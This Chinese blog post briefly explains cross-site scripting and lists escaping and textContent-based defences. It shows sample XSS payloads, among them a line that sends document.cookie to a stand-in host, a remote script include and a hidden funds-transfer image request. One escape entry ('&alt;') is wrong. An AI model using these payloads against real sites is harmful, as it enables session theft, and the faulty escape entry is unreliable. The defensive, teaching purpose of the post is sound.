简述XSS攻击及其防范措施

▍XSS

跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

 

▍通俗来说

通俗点说,就是通过在css或者html里嵌入一些恶意的Javascript代码,从而实现恶意攻击的目的。

那么这些Javascript代码又是如何嵌入进去的呢?

 

▍XSS方式

1、 输入框中直接输入恶意脚本,如:

"><script>alert(document.cookie)</script>


或者

<script>document.location.href = 'http://127.0.0.1:9090/xss?foo=' + document.cookie</script>

 

2、输入框中输入html标签,在标签中嵌入恶意脚本,如src,href,css,style等。

 

<img src="javascript:alert('XSS');" />

<img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" height="0" />
<body background="javascript:alert('XSS');"></body>
<style>
li{
list-style-image: url("javascript:alert('XSS');");
}
</style>

<li>XSS</li>

 

3、将恶意脚本注入在event事件中,如onClick,onBlur,onMouseOver等事件。

<a οnmοuseοver="alert(document.cookie)">
xxslink
</a>
4、在remote style sheet,javascript中,如

 

<link rel="stylesheet" href="javascript:alert('XSS');" />
<script src="http://ha.ckers.org/xss.js"></script>
5、meta标签,如

<meta http-equiv="refresh" content="5" />
<meta http-equiv="set-cookie" content="usetid=<script>alert('XSS')</script>" />
▍切记切记

 

用于不要把任何来自用户的内容放到下面这些地方:

 

script标签:<script> not here </script>

 

html注释:<!-- not here -->

 

标签名:<nothere href="/test.html" />

 

属性:<div nothere="nothere" />

 

css值:{color : not here}

 

 

▍防范方法

 

网上防范XSS攻击的方法一搜就一大堆,但是无论方法有多少,始终是万变不离其宗。

 

1、转义用户的内容

 

a、HTML:对以下这些字符进行转义:

 

&:&amp;

<:&alt;

>:&gt;

':&#x27;

":&quot;

/:&#x2F;

 

b、Javascript:把所有非字母、数字的字符都转义成小于256的ASCII字符;

c、URL:使用Javascript的encodeURIComponent()方法对用户的输入进行编码,该方法会编码如下字符:,      /      ?     :     @     &     =     +     $     #

 

2、添加用户生成的内容

a、Javascript:使用textContent或者innerText,而不能使用innerHTML;

b、jquery:使用text(),而不能使用html();

 

---------------------
作者:颜值界扛把子
来源:CSDN
原文:https://blog.csdn.net/i_dont_know_a/article/details/80560940
版权声明:本文为博主原创文章,转载请附上博文链接!

转载于:https://www.cnblogs.com/lightpro/p/10894829.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值